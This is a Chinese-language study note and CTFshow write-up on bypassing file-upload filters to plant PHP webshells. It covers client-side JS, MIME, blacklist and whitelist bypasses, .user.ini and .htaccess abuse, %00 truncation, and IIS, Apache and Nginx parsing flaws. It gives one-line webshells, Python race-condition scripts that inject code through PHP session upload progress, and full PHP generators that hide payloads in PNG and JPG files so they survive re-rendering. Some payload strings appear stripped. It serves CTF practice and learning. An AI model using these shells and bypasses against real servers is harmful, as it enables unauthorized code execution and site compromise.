-
- 概念:
-
- 路径的关系
- 一句话木马
- 文件上传绕过:
-
- 1.绕过js代码:
- 2.绕过服务端(MIME类型)
- 3.绕过黑名单
- 绕过白名单
- 图片马
- 文件上传后利用蚁剑进行连接后门
- CTFshow
-
- 客户端验证
-
- 前端js验证
- CTFshow-web157
- 服务端验证
-
- 文件头content-type字段校验(image/gif)
- ctfshow-web152
- 文件内容头校验(GIF89a)
- 后缀名黑名单校验
- 后缀名白名单校验
- 重点:利用.user.ini配置文件进行绕过
-
- ctfshow153
- 利用.htaccess来绕过
-
- CTF题目
- 路径截断绕过与普通截断绕过(验证后缀名)
- 短标签绕过
-
- web154,155
- web156
- web157,158,159
- 160
- 操作系统解析漏洞绕过
-
- windows
- linux
- CMS,编辑器漏洞
- 重点:服务器解析漏洞
-
- iis漏洞
- apache
- nginx
- tomacat
- session文件包含绕过
-
- session与cookie的区别
- 文件上传加条件竞争
- web162,163
- 二次渲染
-
- PNG二次渲染
- jpg二次渲染
web客户端在上传文件时,没有对上传文件的内容,扩展名等进行过滤。
路径的关系区别相对路径中一些符号表示 ../表示上一目录 ./表示当前目录 /表示根目录一句话木马
1. 2. 3.")?>文件上传绕过: 1.绕过js代码:
(1)一般的web网页前端在上传文件时,都会利用js代码对文件的扩展名。也就是说,如果对文件的扩展名进行过滤了,可能是js代码的作用了。 (2)方法:
利用火狐的"about:config"来禁用js代码执行。 先使用可以使用的扩展名进行上传,利用bp抓包,改数据包扩展名,再放包。2.绕过服务端(MIME类型)
(1)服务端是在数据包传输过去后再进行响应,所以不能通过绕过js的方法,进行绕过 (2)一般是通过查看http上传的文件的Content-type来进行检测。 (3)方法:bp改变数据包,将数据包的content-type进行改变为合法的内容。 (4)一般合法的content-type:
超文本标记语言.html:text/html 普通文本.txt文件:text/plain PDF文件:application/pdf word文档:application/msword png/gif:application/png/gif .avi:video/msavi3.绕过黑名单
1. 通过改变后缀大小写的方式来进行绕过 2. 通过双写来绕过:如果代码中对扩展名直接解析过滤为空格,说明就可以通过绕过。 3. 可以将php写成php5,php7,phtml等没有在黑名单的后缀 4. 可以在末尾加上 “空格” 5. 加末尾加上点`.` 6. 加上`::$DATA ` 7. 空格,点,::$DATA相结合绕过白名单
所谓白名单,只允许一些合法的jpg通过 可以采用%00截断来截断字符,可以绕过
1.php%00.jpg图片马
windows制造图片马:
copy 1.png \b + 2.php \a shell.png文件上传后利用蚁剑进行连接后门
条件
1.需要文件的路径,一般为/upload/1.php 2.传入木马CTFshow 客户端验证 前端js验证
原理:
一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。
判断方式:
在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。
绕过姿势:
1.关闭浏览器js,火狐是输入框输入about:config
2.先上传png文件,然后burp抓包,改后缀名,即可成功上传木马
- 上传png文件,burp抓包,改后缀,放包
-
方法一 蚁剑连接
方法二,利用命令执行,直接访问upload/1.php,然后 post传1=system(‘tac …/f*’); flag在当前文件所在位置的上一层。
绕过姿势:上传php文件burp抓包,然后改文件头content-type即可
ctfshow-web152方法跟web151一样的
文件内容头校验(GIF89a)绕过姿势:在文件中加一个GIF89a这种即可
(1) .JPEG:.JPE;.JPG,”JPGGraphic File” (2) .gif:”GIF 89A” (3) .zip:”Zip Compressed” (4) .doc;.xls;.xlt;.ppt;.apr:”MS Compound Document v1 or Lotus Approach APRfile”后缀名黑名单校验
绕过姿势: (1)找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类 (2)可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类 能被解析的文件扩展名列表: jsp jspx jspf asp asa cer aspx php php php3 php4 exe exee phtml php3 php4 php5 Php php (空格) php.,pphphp
后缀名白名单校验绕过姿势:跟黑名单检测一样的,只需要改变后缀名
重点:利用.user.ini配置文件进行绕过.user.ini是什么?
.user.ini是lnmp文件,里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取。
官方文档
自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
也就是说当web目录中有.user.ini,php会优先执行里面的配置。 也就是里面除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。 那么我们就去找我们需要用到配置 发现auto_append_file和auto_prepend_file 一个相当于在每个php文件尾加上 include(“xxxx”),一个相当于文件头加上 include(“xxx”)
ctfshow153-
先上传一个带有木马的png文件,然后上传.user.ini文件
重写.user.ini,并利用auto-append-file=xxx(文件路径),来包含文件
然后木马上传成功后,方法就一样了
https://blog.csdn.net/unexpectedthing/article/details/121026007 关于htaccess的拓展
路径截断绕过与普通截断绕过(验证后缀名)上传图片马(可以在图片马头加GIF89a),发现有保存路径 成功的条件:php版本小于5.3.4 php的magic_quotes_gpc=off 可能为路径截断绕过(常用的就是00截断) 1、Get:在上传路径处…/upload/1.php%00 2、Post:对…/upload/1.php后进行16进制hex修改为00 3、还有一种非路径截断,上传图片马(视情况加GIF89a) 抓包修改为:1.php;jpg或者1.php%00.jpg或者1.php/00.jpg
短标签绕过1. ---- 常规写法 不需要开启参数设置 2. 等价于 注: 利用短标签写法可以绕过一些对php字符的过滤 Windows环境中短标签默认是打开的,Linux下 默认是关闭的。 控制参数: php支持短标签,需要我们把short_open_tag 设置为On. 3. <% echo '123' %> 注:需要配置php.ini文件。在配置文件中找到asp_tags=off ,将off改为on。改动配置文件后需要重启apache。经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。 4. 不需要修改参数开关,但是只能在7.0以下可用。web154,155
过滤了php或者?这些,就使用短标签
- 将图片马的内容改成上面的东西
- 然后传.user.ini,即可上传木马成功。
一句话木马
eval($_POST[1]);
过滤了[],在前两题的基础上把[] 换成{}
web157,158,159过滤了分号、{}、system()等(不同题过滤的不一样),所以直接构造命令执行即可
<?=system('tac ../f*')?> <?=`tac ../f*`?>
然后最后访问/upload/index.php 为什么要访问index.php
我的理解就是在upload下面有个index.php的文件,它的回显是nothing here,当访问index.php,会启动php,优先解析.user.ini的配置,然后包含了文件,就触发了1.png图片马的内容,执行命令函数160
过滤了括号反引号还有一些关键字 利用日志包含绕过,图片内容
在php代码中,可以使用点号来进行字符串的拼接。因为log被过滤了。所以用拼接绕过
日志包含,可以看我这篇文章
上传完.user.ini和图片后 访问网站然后修改User-Agent头信息,UA可以是直接得到flag,也可以传一句话木马
原理就是:当访问index.php,触发了.user.ini,再到图片马的东西,再到日志文件去找。
win服务器比较难报出来,一般是知道它的绝对路径特点,有盘符可能为win 二是利用错误文件报错如正确为index.php,改为错误的1index.php 或者index.xxxx,如果报错服务器中间件信息为iis那它是win服务器) 绕过: 1、上传1.php(或者图片马),抓包改为1.php. 2、上传1.php(或者图片马),抓包改为1.php::$DATA 3、上传1.php(或者图片马),抓包改为1.php:1.jpg 4、上传1.php(或者图片马),抓包改为1.php::$DATA…….linux
在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名。CMS,编辑器漏洞
6.CMS、编辑器漏洞 (1)CMS漏洞:比如说JCMS等存在的漏洞,可以针对不同CMS存在的上传漏洞进行绕过。 (2)编辑器漏洞:比如FCK,ewebeditor等,可以针对编辑器的漏洞进行绕过。 这两方面的漏洞以后单独成文汇总,这里点到为止重点:服务器解析漏洞
好的文章 https://blog.csdn.net/Fly_hps/article/details/80781571iis漏洞
上传图片马,抓包修改为1.asp;.jpg或者%00 /00也可以 上传图片马抓包,修改后缀为.asa、.cer和.cdx等,当然不检测内容和类型是直接上传也可以 上传图片马,抓包发现有保存图片的路径,如…/upload/image 我们修改路劲为…/upload/image/1.asp (然后就会存在…/upload/image/1.asp/目录,在这个目录下任何文件当作asp文件解析) iis7.0也存在这漏洞
apache绕过:利用了apache从右向左解析漏洞 1、上传图片马,bp抓包为1.php.xxxx.abc 2、上传.htaccess文件(内容:SetHandler application/x-httpd-php )(如果允许上传),再上传图片马 Ps:如果能上传.htacess文件,但不能解析,可以试试下面
SetHandler application/x-httpd-php
Filename 为你想要上传的文件后缀名。如jpg 然后我们再上传1.jpg图片马即可
nginx上传图片马,拿到图片马的路径,访问的时候加上/.php 就可作为php文件解析 如/upload/image/1.jpg/.php
tomacat一般为肉口令进入tomcat后台,上传war包即可,shell.jsp–>shell.zip–>shell.war
session文件包含绕过 session与cookie的区别Session是在服务端保存的一个数据结构,用来跟踪用户的状态,这个数据可以保存在集群、数据库、文件中; Cookie是客户端保存用户信息的一种机制,用来记录用户的一些信息,也是实现Session的一种方式。 两者的区别: 1,session 在服务器端,cookie 在客户端(浏览器) 2,session 默认被存在在服务器的一个文件里(不是内存) 3,session 的运行依赖 session id,而 session id 是存在 cookie 中的,也就是说,如果浏览器禁用了 cookie ,同时 session 也会失效(但是可以通过其它方式实现,比如在 url 中传递 session_id) 4,session 可以放在 文件、数据库、或内存中都可以。 5,用户验证这种场合一般会用 session 6,cookie存储session_id,然后用户验证找cookie,cookie的sessionid到服务端,就可以实现用户验证。文件上传加条件竞争
这个是利用session来传入木马,实现控制 脚本
import requests import threading import sys session=requests.session() sess='yu22x' url1="http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080/" url2='http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080?file=/tmp/sess_'+sess data1={ 'PHP_SESSION_UPLOAD_PROGRESS':'' } data2={ '1':'system("cat f*");' } file={ 'file':'abc' } cookies={ 'PHPSESSID': sess } def write(): while True: r = session.post(url1,data=data1,files=file,cookies=cookies) def read(): while True: r = session.post(url2,data=data2) if 'ctfshow{' in r.text: print(r.text) threads = [threading.Thread(target=write), threading.Thread(target=read)] for t in threads: t.start()
- 原理
通过将恶意代码传入session中,进行文件包含,就达到了传webshell
- 利用条件
需要找到session的可控变量,知道session的存储路径 php的session文件可以在phpinfo的session.save_path看到 常见的session存储路径 /var/lib/php/sess_PHPSESSID /var/lib/php/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到
- session工作原理:
session_start(): session_start() 会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。 当执行php脚本时,通过使用session超全局变量注册session变量 当脚本结束后,未被销毁的session变量,同时创建一个sess_abc123(名称随机)的session文件,同时abc123作为phpsessionid的cookie值返回到浏览器
文献: https://www.freebuf.com/vuls/202819.html 4. 传入恶意代码主要用到php中的session.upload_progress
这个功能版本是php5.4 1. session.upload_progress.enabled = on 2. session.upload_progress.cleanup = on 3. session.upload_progress.prefix = "upload_progress_" 4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" 5. session.upload_progress.freq = "1%" 6. session.upload_progress.min_freq = "1" 前四个配置选项功能 enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ; cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要; name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控; prefix+name将表示为session中的键名
这四个功能导致文件内容上传后,session的值马上就被清除了。 就需要条件竞争。
web162,163-
先传.user.ini和png文件,让文件包含SESSION文件
- 访问触发了.user.ini和png
- 因为需要在php删除session之前,所以需要条件竞争
import requests import threading # session保持 session = requests.session() sess = 'zzy' #上传文件的PHPSESSION的ID url1 = "http://f32d7187-3bbe-43f8-b497-0c97b499168c.challenge.ctf.show:8080/" url2 = "http://f32d7187-3bbe-43f8-b497-0c97b499168c.challenge.ctf.show:8080/upload/" data1 = { 'PHP_SESSION_UPLOAD_PROGRESS': ''# 传入的恶意代码 } file = { 'file': 'zzy' } cookies = { 'PHPSESSID': sess } def write(): while True: r = session.post(url1, data=data1, files=file, cookies=cookies) def read(): while True: r = session.get(url2) if 'flag' in r.text: print(r.text) threads = [threading.Thread(target=write), threading.Thread(target=read)] for t in threads: t.start()二次渲染
文献
1. https://www.fujieace.com/penetration-test/upload-labs-pass-16.htmlPNG二次渲染
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'2.png'); //要修改的图片的路径 /* 木马内容 <?$_GET[0]($_POST[1]);?> */ ?>jpg二次渲染
<?php $miniPayload = ""; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php '); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?> 用法 php exp.php a.png